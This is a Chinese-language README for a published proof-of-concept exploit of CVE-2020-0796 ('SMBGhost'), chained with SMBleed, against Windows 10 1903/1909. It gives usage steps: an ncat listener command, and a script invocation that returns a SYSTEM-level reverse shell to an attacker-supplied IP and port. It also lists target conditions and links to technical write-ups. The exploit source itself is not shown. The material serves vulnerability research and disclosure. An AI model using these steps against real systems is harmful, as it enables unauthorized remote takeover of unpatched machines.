## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAMF-CVE-2020-0796-RCE-POC
# CVE-2020-0796 远程代码执行概念验证
(c) 2020 ZecOps, Inc. - https://www.zecops.com \- 发现攻击者的错误
CVE-2020-0796 / "SMBGhost" 的远程代码执行概念验证
预期结果:返回系统级权限的反向 Shell。
仅限在企业环境中用于教育和测试。
ZecOps 对此代码不承担任何责任,使用风险自负。
如果您对用于服务器、终端和移动设备的无代理 DFIR 工具感兴趣,以便自动检测 SMBGhost 和其他类型的攻击,请联系 some-email@example.com。
## 使用方法
* 确保目标计算机上已安装 **Python** 和 **ncat** 。
* 在目标计算机上运行 `calc_target_offsets.bat`,并根据脚本输出调整 `SMBleedingGhost.py` 文件顶部的偏移量(另请参阅下面的说明)。
* 使用以下命令行参数运行 **ncat** :
`ncat -lvp <port>`
其中 `<port>` 是 **ncat** 将监听的端口号。
* 使用以下命令行参数运行 `SMBleedingGhost.py`:
`SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>`
其中 `<target_ip>` 是目标易受攻击计算机的 IP 地址。`<reverse_shell_ip>` 和 `<reverse_shell_port>` 是 **ncat** 监听的 IP 地址和端口号。
* 如果一切顺利,**ncat** 将显示一个提供目标计算机系统访问权限的 Shell。
**注意:** 您可能会疑惑为什么需要在目标计算机上运行 `calc_target_offsets.bat` 脚本,这难道不违背远程代码执行“远程”的初衷吗?这些偏移量并非随机,且在同一 Windows 版本的所有实例上均相同。通过检测目标 Windows 版本并自动调整偏移量,或者完全摆脱对偏移量的依赖,可以使攻击更具通用性。但这只是一个概念验证,我们选择了更简单的方法。我们也认为 POC 不具备通用性是一件好事,因为它不适合除测试和教育之外的其他用途。

## 目标环境
Windows 10 版本 1903 和 1909 受影响。由于 Windows 中的空解引用错误(在 KB4512941 中修复),未打补丁的 Windows 10 1903 版本不受支持。
由于利用方式的特性,该 POC 在具有单个逻辑处理器的计算机(或虚拟机)上运行效果最佳。对于在 VirtualBox 中运行且具有多个逻辑处理器的目标,也应是支持的,但在这种情况下 POC 的可靠性较差。其他目标可能不受支持。详情请参阅下方的技术文章。
## 技术文章
* SMBleedingGhost 文章第一部分:将 SMBleed(CVE-2020-1206)与 SMBGhost 链式利用
* SMBleedingGhost 文章第二部分:未经身份验证的内存读取——为 RCE 铺路
* SMBleedingGhost 文章第三部分:从远程读取(SMBleed)到 RCE
## 参考资料
* 漏洞复现:CVE-2020-0796 POC - ZecOps 博客
* CVE-2020-0796 - 微软安全响应中心
* CVE-2020-1206 - 微软安全响应中心